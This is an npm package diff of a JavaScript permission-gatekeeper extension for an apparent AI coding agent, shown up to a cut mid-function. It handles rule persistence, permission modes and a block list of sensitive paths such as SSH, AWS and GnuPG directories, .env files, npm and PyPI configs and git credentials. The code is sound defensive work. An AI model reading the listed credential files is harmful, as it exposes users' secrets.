@wernerbisschoff/pi-gatekeeper 0.1.1

package/dist/gatekeeper.js

@@ -0,0 +1,2715 @@
+/**
+ * Pi/OMP extension entry point — Phase 3 of the Foundation shard.
+ *
+ * Implements the persistence lifecycle helpers (`getRulesPath`,
+ * `loadDefaultRules`, `bootstrapRules`, `loadRules`) called by the
+ * `session_start` wiring and the `/perm` slash command in later tasks.
+ * The full entry-point shell (slash command, CLI flag, status wiring,
+ * `cycleMode`/`setMode`/`showAllowlist`) arrives in TSK-001-08.
+ *
+ * Source of truth:
+ * - tasks.md TSK-001-03 (bootstrap / lifecycle loader)
+ * - data-model.md:177-228 (PermissionLevel / LevelRules / PermissionRules shapes)
+ * - constitution.md §1.1 (single-module extension boundary)
+ * - constitution.md §1.2 (flat-file persistence under ~/.pi/agent/)
+ * - constitution.md §1.4 (deny-by-default safety floor)
+ * - plan.md Phase 3 (rules path + atomic bootstrap implementation strategy)
+ */
+import { exec } from "node:child_process";
+import { existsSync, mkdirSync, readFileSync, renameSync, writeFileSync } from "node:fs";
+import os from "node:os";
+import { dirname, join, resolve } from "node:path";
+import { fileURLToPath } from "node:url";
+import { promisify } from "node:util";
+import { Type } from "@sinclair/typebox";
+const execAsync = promisify(exec);
+/**
+ * Stable label catalogue — single source of truth for the AC-007-XX reason strings.
+ * A future rename propagates from this constant to every catalog entry below and the
+ * corresponding `ctx.ui.notify` reason in `sensitivePathToolCallHandler` (Phase 2). The
+ * values are pinned by the `isSensitivePath — pattern catalog` describe in
+ * `test/sensitive-path.test.ts`.
+ */
+const LABELS = {
+    ENV: "Environment file",
+    SSH: "SSH directory",
+    AWS: "AWS directory",
+    GNUPG: "GnuPG directory",
+    KUBE: "Kubernetes directory",
+    CRYPTO: "Crypto material",
+    CREDS: "Credentials file",
+    NPM: "npm config",
+    PYPI: "PyPI config",
+    GIT_CREDS: "Git credentials",
+    DOCKER: "Docker config",
+    GH_HOSTS: "GitHub hosts config",
+};
+/**
+ * Compile-time catalog of sensitive path patterns. Iteration order matters:
+ * {@link isSensitivePath} uses an early-return `for...of` so the FIRST matching entry
+ * wins. The catalog is intentionally permissive — a `.ssh/` literal anywhere in the
+ * path matches so `~/.ssh/`, `/Users/<who>/.ssh/`, `/home/<who>/.ssh/`, and even
+ * `/srv/.ssh/` are all flagged (the latter is permissive by design — see
+ * `tasks.md TSK-006-01 "Edge Cases"`). Reorder the array only with a corresponding
+ * update to the `first-match-wins` test in `test/sensitive-path.test.ts`.
+ */
+export const SENSITIVE_PATHS = [
+    // Environment file — matches `.env`, `.env.production`, `.env.local`, etc.
+    // MUST be entry #0 so the first-match-wins test (`~/.ssh/.env` → "Environment file")
+    // remains deterministic.
+    { pattern: /\.env(\.[^/]+)?$/, label: LABELS.ENV },
+    // SSH directory — covers `~/.ssh/`, `/Users/<who>/.ssh/`, `/home/<who>/.ssh/`
+    // (permissive: any path containing the `.ssh/` literal segment is flagged).
+    { pattern: /\.ssh\//, label: LABELS.SSH },
+    // AWS credentials directory
+    { pattern: /\.aws\//, label: LABELS.AWS },
+    // GnuPG keyring directory
+    { pattern: /\.gnupg\//, label: LABELS.GNUPG },
+    // Kubernetes config directory
+    { pattern: /\.kube\//, label: LABELS.KUBE },
+    // Crypto material — PEM keys, SSH private keys, X.509 certs (case-insensitive to
+    // tolerate the common uppercase `.PEM` convention).
+    { pattern: /\.(pem|key|crt)$/i, label: LABELS.CRYPTO },
+    // .netrc — legacy FTP/HTTP credential file
+    { pattern: /(?:^|\/)\.?netrc$/, label: LABELS.CREDS },
+    // npm config — registry auth tokens
+    { pattern: /(?:^|\/)\.?npmrc$/, label: LABELS.NPM },
+    // PyPI config — upload credentials
+    { pattern: /(?:^|\/)\.?pypirc$/, label: LABELS.PYPI },
+    // Git credential store — plaintext credentials
+    { pattern: /\.git-credentials$/, label: LABELS.GIT_CREDS },
+    // Docker registry auth
+    { pattern: /\.docker\/config\.json$/, label: LABELS.DOCKER },
+    // GitHub CLI host tokens
+    { pattern: /\.config\/gh\/hosts\.yml$/, label: LABELS.GH_HOSTS },
+];
+/**
+ * Skill-script short-circuit pattern — matches a `.sh` file directly under `/skills/`
+ * (single-segment form). `/skills/sub/dir.sh` (nested) does NOT match because
+ * `[^/]+` excludes `/`. Per US-021, the sensitive-path `tool_call` handler (Phase 2)
+ * short-circuits on this pattern BEFORE the {@link SENSITIVE_PATHS} scan so a skill
+ * script whose filename would otherwise match (e.g. `/skills/.env-helper.sh`) still
+ * passes through.
+ */
+export const SKILL_SCRIPT_PATTERN = /^\/skills\/[^/]+\.sh$/;
+/**
+ * Classify `path` against the {@link SENSITIVE_PATHS} catalog. Returns the FIRST
+ * matching entry's `label` (first-match-wins via the catalog's documented iteration
+ * order). Performance is O(1) per call: the regexes are compiled once at module
+ * load, so `.test(path)` is the only per-call cost (O(n) where n is `path.length`).
+ * Returns `{ match: false, label: "" }` when no pattern matches — the empty string
+ * is the sentinel "no-match" label and is excluded from the {@link SensitivePathLabel}
+ * union, so consumers can branch on `match` instead of inspecting the label.
+ */
+export function isSensitivePath(path) {
+    for (const { pattern, label } of SENSITIVE_PATHS) {
+        if (pattern.test(path)) {
+            return { match: true, label };
+        }
+    }
+    return { match: false, label: "" };
+}
+/** ─── Internal helpers ─── */
+/**
+ * Absolute path to the bundled `default-rules.json` asset. Resolved relative
+ * to this module's source location so the same code works under:
+ *   - vitest loading `src/gatekeeper.ts` directly → `HERE = src/`
+ *   - jiti loading `src/gatekeeper.ts` at runtime    → `HERE = src/`
+ *   - compiled `dist/gatekeeper.js` (after build)   → `HERE = dist/`
+ * The `npm run build` script copies `src/default-rules.json` to
+ * `dist/default-rules.json` so the compiled `gatekeeper.js` resolves the
+ * asset next to itself. The `package.json` `files` whitelist ships the
+ * entire `dist/` directory tree to npm so the asset and compiled JS land in
+ * the published tarball together (satisfies FR-012-02).
+ */
+const HERE = dirname(fileURLToPath(import.meta.url));
+const DEFAULT_RULES_PATH = resolve(HERE, "default-rules.json");
+/**
+ * Strict-equal allowlist for the `--perm-mode` CLI flag. Co-located here so future shards that
+ * accept the same set (TSK-001-06 `setMode`, TSK-001-07 slash-command branching) reuse the single
+ * source of truth instead of redeclaring `["low", "medium", "high"]` literals across the module.
+ * Frozen `as const` so the array is typed as `readonly ["low", "medium", "high"]` and resists push/shift.
+ */
+const VALID_MODES = ["low", "medium", "high"];
+/**
+ * Structural guard for a parsed JSON value. Rejects `null`, primitives,
+ * arrays, and objects missing the required top-level fields — including the
+ * `null` literal case (`JSON.parse("null") === null` is a valid parse but
+ * not a `PermissionRules` shape).
+ */
+function isPermissionRules(value) {
+    if (value === null || typeof value !== "object" || Array.isArray(value)) {
+        return false;
+    }
+    const obj = value;
+    if (obj.version !== 1 && obj.version !== 2)
+        return false; // Schema version is locked at v1/v2; v3+ will require explicit migration support.
+    if (obj.currentMode !== null && typeof obj.currentMode !== "string")
+        return false;
+    if (typeof obj.rules !== "object" || obj.rules === null || Array.isArray(obj.rules)) {
+        return false;
+    }
+    const rules = obj.rules;
+    for (const level of VALID_MODES) {
+        if (!isLevelRules(rules[level]))
+            return false;
+    }
+    return true;
+}
+function isLevelRules(value) {
+    if (value === null || typeof value !== "object" || Array.isArray(value)) {
+        return false;
+    }
+    const obj = value;
+    if (!Array.isArray(obj.deny) || !Array.isArray(obj.allow) || !Array.isArray(obj.ask)) {
+        return false;
+    }
+    for (const arr of [obj.deny, obj.allow, obj.ask]) {
+        for (const entry of arr) {
+            if (typeof entry !== "string")
+                return false;
+        }
+    }
+    return true;
+}
+/**
+ * Strict-equal guard for `PermissionLevel`. Backed by the `VALID_MODES` tuple so a new level (or a
+ * rename of an existing one) propagates to every call site — flag override, future `setMode`, and
+ * slash-command branching — without re-declaring the literal list.
+ */
+function isPermissionLevel(value) {
+    return typeof value === "string" && VALID_MODES.includes(value);
+}
+/** ─── Subcommand catalogue for the `/perm` slash command (TSK-001-07) ─── */
+/**
+ * Subcommand literals for the `/perm` slash command. Co-located so the handler's branching
+ * table and the corresponding tests can grep one symbol instead of three. Each entry is the set of
+ * trimmed/lowercased arg values that route to the named behaviour:
+ *   - CYCLE     — bare invocation (`""`) or explicit `"cycle"` alias → {@link cycleMode}
+ *   - SET       — explicit `"low" | "medium" | "high"` literal → {@link setMode}
+ *   - DISCOVERY — `"allowlist"` (FR-013 name — actually renders the full deny/allow/ask per-level
+ *                 tuple) or the `"list"` alias → {@link showAllowlist}
+ *
+ * `as const satisfies Readonly<...>` locks each entry to `readonly string[]` so the handler's
+ * `===` comparisons stay typed and the array resists push/shift. A future rename or new level
+ * flows from a single edit here to every branch and the corresponding test greps.
+ */
+const PERM_SUBCOMMANDS = {
+    CYCLE: ["", "cycle"],
+    SET: VALID_MODES,
+    DISCOVERY: ["allowlist", "list"],
+};
+/**
+ * Atomic write of `payload` to `targetPath`. Writes to `<target>.tmp` first
+ * then `renameSync` swaps it into place — guards against partial writes
+ * corrupting the rules file (per `design.md:138` RSK-009 mitigation).
+ *
+ * Throws on any failure. Best-effort callers wrap this primitive in try/catch
+ * (see {@link saveRules}); non-best-effort callers (e.g. {@link bootstrapRules})
+ * let the throw propagate so they can surface ENOENT-vs-corruption distinctly.
+ */
+function atomicWriteJson(targetPath, payload) {
+    const tmpPath = `${targetPath}.tmp`;
+    writeFileSync(tmpPath, JSON.stringify(payload, null, 2), "utf8");
+    renameSync(tmpPath, targetPath);
+}
+/**
+ * Prefix emitted on a best-effort persistence failure. Centralized so the
+ * notification text and `notify` level stay in lock-step across every catch
+ * branch in {@link saveRules}, matching the `MALFORMED_RULES_MESSAGE` pattern
+ * used by `loadRules`.
+ */
+const SAVE_RULES_FAILURE_PREFIX = "Failed to persist perm-rules.json:";
+/**
+ * Emit a best-effort persistence failure notification. No-op when `ctx` is
+ * undefined — callers that route through `saveRules` without a ctx (e.g. the
+ * mode-cycle path) rely on the silent-swallow branch to keep the call chain
+ * from crashing on a transient persistence failure.
+ */
+function notifySaveFailure(err, ctx) {
+    if (!ctx)
+        return;
+    const detail = err instanceof Error ? err.message : String(err);
+    ctx.ui.notify(`${SAVE_RULES_FAILURE_PREFIX} ${detail}`, "warning");
+}
+/**
+ * Prefix emitted on a sensitive-path block. Centralised so the
+ * notification text and `notify` level stay in lock-step across the
+ * blocking site in {@link sensitivePathToolCallHandler} and the
+ * corresponding `describe("...AC-007-01...")` test assertions.
+ *
+ * Phrasing: "<prefix> <path>" — the test asserts
+ * `expect(message).toContain(path)` so a future rename MUST keep the
+ * trailing path component verbatim (per `tasks.md TSK-006-02 Edge Cases`
+ * — "user must be informed of the block reason").
+ */
+const SENSITIVE_PATH_BLOCK_PREFIX = "Blocked access to sensitive path:";
+/**
+ * Emit a best-effort sensitive-path block notification. Gated on
+ * `ctx.hasUI` so headless mode (Constitution §1.6 — `pi --no-ui` /
+ * OMP headless) does NOT crash on a missing UI context. Matches the
+ * `notifySaveFailure` pattern above — every `ctx.ui.notify` site that
+ * could plausibly fire under headless conditions routes through a
+ * `hasUI`-gated helper so the headless-safety contract is centralised
+ * and not duplicated across call sites.
+ */
+function notifySensitivePathBlock(path, ctx) {
+    if (!ctx.hasUI)
+        return;
+    ctx.ui.notify(`${SENSITIVE_PATH_BLOCK_PREFIX} ${path}`, "warning");
+}
+/**
+ * Ensure the parent directory of `filePath` exists, creating it recursively
+ * with restricted permissions (0o700). Idempotent — a no-op when the directory
+ * already exists. Centralized to replace identical `mkdirSync(dirname(...))`
+ * patterns in {@link saveRules} and {@link bootstrapRulesAt}.
+ */
+function ensureParentDir(filePath) {
+    mkdirSync(dirname(filePath), { recursive: true, mode: 0o700 });
+}
+/**
+ * Public persistence write surface — the single boundary that owns atomic
+ * rename + best-effort error handling for `perm-rules.json`.
+ *
+ * Contract:
+ *   - Creates the parent directory recursively with `mode: 0o700` so the
+ *     Sensitive Path Guard's directory-permission policy (matches
+ *     {@link getRulesPath}) is honoured on first write into a fresh
+ *     `~/.pi/agent/` tree. `mkdirSync({ recursive: true })` is a no-op when
+ *     the directory already exists, so re-writes never loosen or tighten an
+ *     existing directory's permissions.
+ *   - Writes the payload to `<filePath>.tmp` then `renameSync`s it into
+ *     place — the atomic-rename pattern prevents partial writes from
+ *     corrupting an otherwise-valid rules file (RSK-009 mitigation).
+ *   - Best-effort error handling: any failure (EACCES, EROFS, ENOSPC,
+ *     ENOENT for an unwritable parent, etc.) is caught. When `ctx` is
+ *     provided, the failure surfaces through `ctx.ui.notify` at `"warning"`
+ *     level. When `ctx` is undefined the failure is silently swallowed —
+ *     the caller's in-memory mutation already landed and the next session
+ *     resumes from the last successfully persisted state.
+ *
+ * Flow references: FLOW-05 (level cycles and persists), FLOW-08 (Allow
+ * Always writes the persistent per-level JSON).
+ */
+export function saveRules(filePath, payload, ctx) {
+    try {
+        ensureParentDir(filePath);
+        atomicWriteJson(filePath, payload);
+    }
+    catch (err) {
+        notifySaveFailure(err, ctx);
+    }
+}
+/** ─── Persistence lifecycle helpers (under test) ─── */
+/**
+ * Resolve the absolute path of the persisted rules file.
+ *
+ * Creates `~/.pi/agent/` with `mode: 0o700` ONLY when the directory does not
+ * already exist — `mkdirSync({ recursive: true })` skips creation (and
+ * permission tightening) for an existing directory. This means a directory
+ * previously created by another tool or installer with broader permissions
+ * is left untouched and cannot be retroactively narrowed from this helper.
+ *
+ * The 0o700 target honors the process umask (so the effective mode may be
+ * narrower than 0o700 on systems with a tighter umask, but never broader).
+ * The intent is to match the Sensitive Path Guard's directory-permission
+ * policy from ISS-006 so the directory is never world-readable when this
+ * extension creates it from a clean slate.
+ */
+export function getRulesPath() {
+    const agentDir = join(os.homedir(), ".pi", "agent");
+    mkdirSync(agentDir, { recursive: true, mode: 0o700 });
+    return join(agentDir, "perm-rules.json");
+}
+/**
+ * Load the bundled `src/default-rules.json` payload. Read-only asset shipped
+ * inside the npm tarball. Throws if the asset is missing — fail loud per
+ * Constitution §1.4 rather than silently substituting a build-time string.
+ */
+export function loadDefaultRules() {
+    const raw = readFileSync(DEFAULT_RULES_PATH, "utf8");
+    const parsed = JSON.parse(raw);
+    if (!isPermissionRules(parsed)) {
+        throw new Error(`Bundled default-rules.json at ${DEFAULT_RULES_PATH} is not a valid PermissionRules payload`);
+    }
+    return parsed;
+}
+/**
+ * Ensure `perm-rules.json` exists at `targetPath`; return its parsed contents.
+ *
+ * First-run path: atomically copy the bundled defaults into place (creating the parent directory
+ * recursively if needed). Subsequent calls: re-read whatever is on disk (idempotent — never
+ * overwrites a manually-edited file). The re-read path validates with the same {@link isPermissionRules}
+ * guard {@link loadRules} uses so a manually edited file with structurally invalid JSON (null literal,
+ * missing fields, stray keys) cannot escape the deny-by-default contract. A re-read that fails the shape
+ * check is left on disk for the developer to inspect; this helper throws so the caller (e.g. test or
+ * future shard) cannot silently accept a malformed payload.
+ *
+ * `targetPath` is the absolute path the bootstrap should honour — may be `getRulesPath()` (default) or an
+ * arbitrary path supplied by a persistence test (the testability seam TSK-004-02 adds to `loadRules`).
+ */
+function bootstrapRulesAt(targetPath) {
+    const defaults = loadDefaultRules();
+    if (existsSync(targetPath)) {
+        const raw = readFileSync(targetPath, "utf8");
+        const parsed = JSON.parse(raw);
+        if (!isPermissionRules(parsed)) {
+            throw new Error(`Existing perm-rules.json at ${targetPath} is not a valid PermissionRules payload`);
+        }
+        // Schema upgrade: if the on-disk version is older than the bundled version,
+        // back up the old file to `<path>.v<oldVersion>.bak` and re-bootstrap with
+        // the new defaults. This ensures improvements like expanded `low.allow`
+        // entries automatically take effect without manual deletion.
+        if (parsed.version < defaults.version) {
+            const backupPath = `${targetPath}.v${parsed.version}.bak`;
+            renameSync(targetPath, backupPath);
+            ensureParentDir(targetPath);
+            atomicWriteJson(targetPath, defaults);
+            return defaults;
+        }
+        return parsed;
+    }
+    // First run — create the parent directory recursively (TSK-004-02 lets callers pass an arbitrary
+    // filePath via `loadRules`, so we MUST NOT rely on `getRulesPath()` to have created the parent for us),
+    // then atomic copy of bundled defaults.
+    ensureParentDir(targetPath);
+    atomicWriteJson(targetPath, defaults);
+    return defaults;
+}
+/**
+ * Public bootstrap helper — the pre-TSK-004-02 single-path entry point that always boots at `getRulesPath()`.
+ * Retained as a thin wrapper over {@link bootstrapRulesAt} so foundation tests (which do not exercise the
+ * extended `filePath` parameter) keep their call surface, and so future ISS-001 callers can request a
+ * bootstrap against the canonical home without re-deriving the path.
+ */
+export function bootstrapRules() {
+    return bootstrapRulesAt(getRulesPath());
+}
+/** User-visible warning emitted on EVERY malformed-perm-rules path. Centralized so the message text
+ * and `notify` level stay in lock-step across the three failure branches in `loadRules` (`readFileSync`
+ * non-ENOENT error, `JSON.parse` SyntaxError, shape mismatch). The phrasing "falling back to last valid
+ * in-memory snapshot" is generic enough to cover BOTH branches of {@link handleMalformedFallback}: the
+ * cold-cache session-start path returns the bundled defaults (which IS the last valid in-memory snapshot
+ * before any per-ctx cache exists), and the live-reload path returns the per-ctx cached payload.
+ *
+ * Required by AC-011-02 ("Error is logged") and US-013 ATDD ("error is logged and the extension falls
+ * back to the last valid rules in memory") — a transient malformed edit MUST surface to the developer
+ * via `ctx.ui.notify` so they know the persisted file is corrupt and can recover it.
+ */
+const MALFORMED_RULES_MESSAGE = "malformed perm-rules.json during reload; falling back to last valid in-memory snapshot";
+/**
+ * Two-branch malformed-file fallback (FR-011 / AC-011-02). Centralized so each call site in
+ * {@link loadRules} reads as a single declarative step:
+ *   - Always notify FIRST at `"warning"` level — required by AC-011-02 ("Error is logged"), US-013 ATDD
+ *     ("error is logged"), and the TSK-004-02 hard-inclusion list ("log error"). Both cache-hit and
+ *     cache-miss branches MUST emit the warning; a silent cache-hit recovery would mask a transient
+ *     malformed edit from the developer.
+ *   - Return the per-ctx `lastValidRulesByCtx` cached payload if hot (live-reload path), otherwise
+ *     fall back to the bundled defaults (session-start / first-ever for this ctx). The per-ctx cache
+ *     preserves FLOW-10 cascade integrity: a developer's curated per-level deny/allow/ask appends
+ *     survive a transient malformed edit.
+ *   - Mirror the resolved fallback into the module-level `rules` cache so `showAllowlist` /
+ *     `applyModeChange` see the in-memory fallback the same way they would a successful read.
+ *     The per-ctx `lastValidRulesByCtx` is intentionally NOT updated here — only validated payloads
+ *     earn a cache slot; a cold-defaults fallback must not shadow a later successful read.
+ */
+function handleMalformedFallback(ctx) {
+    ctx.ui.notify(MALFORMED_RULES_MESSAGE, "warning");
+    const fallback = lastValidRulesByCtx.get(ctx) ?? loadDefaultRules();
+    rules = fallback;
+    return fallback;
+}
+/**
+ * Per-ctx cache of the LAST VALID in-memory `PermissionRules` payload. Pinned by TSK-004-02 (FR-011,
+ * AC-011-02) so live reload preserves the developer's curated per-level deny/allow/ask appends across
+ * a transient malformed edit.
+ *
+ * The cache is keyed by `ExtensionContext` so it naturally isolates across:
+ *   - **Multiple Pi/OMP sessions** that share a single Node process (each session has its own ctx).
+ *   - **Multiple test cases** that share a single Node process (each `createFakePi()` produces a fresh ctx).
+ * This avoids state pollution between foundation-shard tests (which assume a fresh "session-start" on every
+ * call) and persistence-shard tests (which need a hot cache for the AC-011-02 fallback assertion).
+ *
+ * `WeakMap` is used so the cache entry is garbage-collected automatically when the ctx goes out of scope —
+ * no manual reset is needed.
+ */
+const lastValidRulesByCtx = new WeakMap();
+/**
+ * Update BOTH the module-level `rules` write-through cache and the per-ctx `lastValidRulesByCtx` reload
+ * cache. Centralised so the dual-assignment pattern that now appears in three places (success path,
+ * bootstrap path, future paths) cannot drift out of sync — a drift here would let a stale payload from
+ * `rules` shadow the cache the malformed-fallback branch consults.
+ */
+function setLoadedRules(parsed, ctx) {
+    rules = parsed;
+    lastValidRulesByCtx.set(ctx, parsed);
+}
+/**
+ * Load rules from disk; surface malformed state via `ctx.ui.notify` and fall back to the bundled
+ * defaults OR the per-ctx last-valid cache (whichever is available), leaving the on-disk file
+ * untouched so the developer can inspect or hand-correct it.
+ *
+ * Contract (extended by TSK-004-02 — FR-011 / AC-011-02):
+ *   - `filePath` is OPTIONAL: when omitted, the loader reads from `getRulesPath()` (preserves pre-TSK-004-02
+ *     callers like `sessionStartHandler`). When provided, the loader reads from `filePath` and skips
+ *     `getRulesPath()` entirely — persistence tests use this seam to drive the loader against an
+ *     isolated `os.tmpdir()`-backed path without coupling to `os.homedir()`.
+ *   - ENOENT (file missing at `targetPath`) → `bootstrapRulesAt(targetPath)` — atomically create the file
+ *     with bundled defaults at the SAME path the caller asked for, populate the per-ctx cache with the
+ *     bootstrapped payload, and return it. The bootstrap is silent (no notify).
+ *   - `JSON.parse` throws (truncated payload, stray characters, etc.) → `handleMalformedFallback(ctx)` —
+ *     notify at `"warning"` level, return the per-ctx cached payload if hot, otherwise bundled defaults.
+ *   - Valid JSON but invalid shape (`null`, primitives, arrays, missing fields) → same fallback as the
+ *     `JSON.parse` throw branch. Both branches share the same single-line `return handleMalformedFallback(ctx)`
+ *     idiom so the read/parse/shape pipeline reads as a uniform success-or-fallback ladder.
+ *   - Valid payload → populate BOTH `rules` and the per-ctx `lastValidRulesByCtx` cache, return parsed.
+ *
+ * On the malformed-file path the on-disk bytes are NEVER overwritten so the developer can inspect or
+ * hand-correct the file. The two-branch fallback (FR-011 / AC-011-02) preserves FLOW-10 cascade
+ * integrity: a developer's curated per-level deny/allow/ask appends survive a transient malformed edit.
+ */
+export function loadRules(ctx, filePath) {
+    const targetPath = filePath ?? getRulesPath();
+    let raw;
+    try {
+        raw = readFileSync(targetPath, "utf8");
+    }
+    catch (err) {
+        // ENOENT → bootstrap a fresh file at `targetPath`. Any other read error → malformed-fallback in memory.
+        if (isErrnoException(err) && err.code === "ENOENT") {
+            const bootstrapped = bootstrapRulesAt(targetPath);
+            setLoadedRules(bootstrapped, ctx);
+            return bootstrapped;
+        }
+        return handleMalformedFallback(ctx);
+    }
+    let parsed;
+    try {
+        parsed = JSON.parse(raw);
+    }
+    catch {
+        // JSON.parse threw (truncated payload, stray characters, etc.) — same fallback as shape-mismatch.
+        return handleMalformedFallback(ctx);
+    }
+    if (!isPermissionRules(parsed)) {
+        // JSON parsed but is not a valid PermissionRules shape (catches `null`, primitives, arrays, missing fields).
+        return handleMalformedFallback(ctx);
+    }
+    setLoadedRules(parsed, ctx);
+    return parsed;
+}
+function isErrnoException(value) {
+    return (value instanceof Error &&
+        "code" in value &&
+        typeof value.code === "string");
+}
+/** ─── Status Indicator (TSK-001-04) ─── */
+/**
+ * Module-level cache of the loaded `PermissionRules` payload. Populated by {@link loadRules} on
+ * every successful read (valid on-disk payload, freshly-bootstrapped defaults, or in-memory
+ * fallback when the file is malformed). Consumed by {@link showAllowlist} so the `/perm allowlist`
+ * discovery output reflects the same in-memory state that `cycleMode` / `setMode` mutate.
+ * {@link applyModeChange} also writes through this cache (mutating `currentMode` in place) when
+ * the cache is hot — keeping the in-memory payload consistent with the persisted file.
+ * TSK-001-08's `session_start` handler also reads this binding to mirror `currentMode` after a
+ * successful load.
+ *
+ * NOT exported as a binding (ESM live bindings are read-only from outside the module). Tests drive
+ * the cache indirectly through `loadRules` / `seedPersistedRules`; production code mutates it
+ * from inside the same module only.
+ */
+let rules = null;
+/**
+ * Module-level active permission level. TSK-001-08's `session_start` handler reads this on
+ * bootstrap (after `loadRules` populates `rules.currentMode`); the `/perm` cycle (TSK-001-06) and
+ * `--perm-mode` override (TSK-001-05) both mutate this in-memory value.
+ * NOT exported as a binding because ESM live bindings are read-only from outside the module — the
+ * test-only `setCurrentMode` helper below provides a writable surface for the foundation tests,
+ * and the production `cycleMode`/`setMode`/`applyFlagOverride` helpers (TSK-001-06, TSK-001-05)
+ * mutate the binding directly from inside the module.
+ */
+let currentMode = "medium";
+/**
+ * Read the active permission level. Stable surface for downstream shards (ISS-003 classifier,
+ * ISS-005 prompt system) that need to consult the level without going through `updateStatus`.
+ */
+export function getCurrentMode() {
+    return currentMode;
+}
+/**
+ * Write the active permission level. Used by the foundation tests to drive `updateStatus`
+ * with different levels without going through the full `loadRules` bootstrap path. In
+ * production, `cycleMode` / `setMode` / `applyFlagOverride` (TSK-001-06, TSK-001-05) mutate
+ * the binding directly from inside the module.
+ *
+ * Also clears the ephemeral and session allow sets so test isolation (each `it(...)` starts with
+ * a fresh module-level state) matches the production lifecycle: a mode change is a fresh permission
+ * context, so any "Allow Once" or "Allow This Session" unlocks from the prior level are dropped.
+ * The single-source-of-truth clear path is `sessionStartHandler` for production; `setCurrentMode`
+ * mirrors it for the test-only mode-switch surface so Vitest's per-file isolation is honoured
+ * within a single file.
+ */
+export function setCurrentMode(value) {
+    currentMode = value;
+    ephemeralAllowList = new Set();
+    sessionAllowList = new Set();
+}
+/**
+ * Reserved TUI footer status key for the permission level indicator. Ownership is contractually
+ * pinned by `architecture.md:157` — no other extension may write to this key, otherwise the level
+ * indicator on the TUI footer could be shadowed by a colliding third-party status widget.
+ */
+export const PERMISSION_STATUS_KEY = "perm";
+/**
+ * TUI footer labels keyed by PermissionLevel. Specific emoji + label pairs are
+ * documented in AC-010-01 / AC-010-02
+ * (`specs/001-pi-gatekeeper/issues/001-foundation-packaging.md:33`):
+ *   - `low`    → `🟢 LOW`     (green circle = restricted/safe)
+ *   - `medium` → `🟡 MEDIUM`  (yellow circle = balanced)
+ *   - `high`   → `🟠 HIGH`    (orange circle = permissive/warning)
+ * The status key (`PERMISSION_STATUS_KEY`) is reserved by `architecture.md:157` — no other extension
+ * may write to it (otherwise the level indicator could be shadowed on the TUI footer).
+ */
+export const MODE_LABELS = {
+    low: "🟢 LOW",
+    medium: "🟡 MEDIUM",
+    high: "🟠 HIGH",
+};
+/**
+ * Render the active permission level into the TUI footer via `ctx.ui.setStatus(...)` using the
+ * reserved `PERMISSION_STATUS_KEY`. The custom footer extension (`footer.ts`) reads the
+ * `~/.pi/agent/perm-mode` file directly and overlays the circle indicator (🟢/🟡/🟠) in the
+ * bottom powerline bar — so the `setStatus` call here serves as the fallback for built-in
+ * footer mode and as a data source for any extension that reads status keys directly.
+ *
+ * Synchronous — FLOW-05's `level_change_latency_ms` metric (<=100 ms) is satisfied because
+ * the call is a single in-process mutation. The full session_start wiring that invokes this
+ * helper (`loadRules -> set currentMode -> updateStatus`) lands in TSK-001-08; here we only
+ * define the primitive so it is independently testable.
+ */
+export function updateStatus(ctx) {
+    ctx.ui.setStatus(PERMISSION_STATUS_KEY, MODE_LABELS[currentMode]);
+    // Broadcast the current mode on the shared extension event bus so the footer
+    // extension (which may replace the built-in footer) can update its indicator
+    // without polling the filesystem. Guarded with typeof checks since test mocks
+    // may not expose `piRef` or `events`.
+    if (piRef?.events && typeof piRef.events.emit === "function") {
+        piRef.events.emit("perm:changed", { mode: currentMode });
+    }
+}
+/** ─── CLI Flag Override (TSK-001-05) ─── */
+/**
+ * Canonical name of the `--perm-mode` CLI flag. Exported so TSK-001-08's `pi.registerFlag(...)`
+ * call uses the same identifier that `applyFlagOverride` reads via `pi.getFlag(...)` — prevents
+ * drift if the flag is ever renamed. Mirrors the `PERMISSION_STATUS_KEY` pattern from TSK-001-04.
+ */
+export const PERM_MODE_FLAG_NAME = "perm-mode";
+/**
+ * Read the persisted `perm-rules.json` and return its `currentMode` if it is a valid
+ * `PermissionLevel`. Read-only: never creates the file and never emits `ctx.ui.notify` — the
+ * flag-override path must not bootstrap a file (the persisted mode is per-session, not
+ * auto-created) or alarm the user on a malformed payload. Returns `undefined` for any failure
+ * mode so the caller can fall through to the next priority tier (in-memory `currentMode`)
+ * without a separate try/catch ladder.
+ */
+/**
+ * Read `filePath` as UTF-8 text and return its contents, or `undefined` for any failure (ENOENT,
+ * permission denied, etc.). Encapsulates the `try { readFileSync(...) } catch { return undefined; }`
+ * pattern shared by {@link readCurrentModeFromDisk} — callers distinguish "no file / unreadable"
+ * from "file present but malformed" via a separate `JSON.parse` try/catch.
+ */
+function safeReadFile(filePath) {
+    try {
+        return readFileSync(filePath, "utf8");
+    }
+    catch {
+        return undefined;
+    }
+}
+function readCurrentModeFromDisk() {
+    const raw = safeReadFile(getRulesPath());
+    if (raw === undefined)
+        return undefined;
+    try {
+        const parsed = JSON.parse(raw);
+        if (isPermissionRules(parsed) && isPermissionLevel(parsed.currentMode)) {
+            return parsed.currentMode;
+        }
+    }
+    catch {
+        // Malformed JSON — leave currentMode as-is (caller falls through).
+    }
+    return undefined;
+}
+/**
+ * Read and validate the `--perm-mode` CLI flag value. Returns the validated level or `undefined`
+ * for any failure mode (thrown `pi.getFlag`, missing `getFlag`, undefined return, or a value
+ * outside `VALID_MODES`). Encapsulating the try/catch + validation here keeps `applyFlagOverride`
+ * declarative.
+ */
+function readPermModeFlag(pi) {
+    let flagValue;
+    try {
+        flagValue = pi.getFlag(PERM_MODE_FLAG_NAME);
+    }
+    catch {
+        // pi.getFlag threw (e.g. `pi.getFlag is not a function` when pre-registration sets it to undefined).
+        return undefined;
+    }
+    return isPermissionLevel(flagValue) ? flagValue : undefined;
+}
+/**
+ * Reconcile `currentMode` from the most authoritative available source, in priority order:
+ *   1. CLI flag (`pi.getFlag(PERM_MODE_FLAG_NAME)`) — only strict-equal values in
+ *      {@link VALID_MODES} are accepted; anything else falls through to step 2.
+ *   2. Persisted `perm-rules.json` — read once via {@link readCurrentModeFromDisk}, never written.
+ *   3. In-memory `currentMode` — preserved when both above are unavailable.
+ *
+ * The persisted file is intentionally NOT rewritten (AC-001-03: "overrides persisted mode without
+ * modifying the file") so the override is per-session — the next session resumes at whatever the
+ * persisted mode was before this launch.
+ *
+ * The `pi.registerFlag(PERM_MODE_FLAG_NAME, ...)` registration call itself is deferred to
+ * TSK-001-08 (entry-point wiring) — this helper only CONSUMES the flag value, never registers it.
+ */
+export function applyFlagOverride(pi) {
+    const diskMode = readCurrentModeFromDisk();
+    if (diskMode !== undefined) {
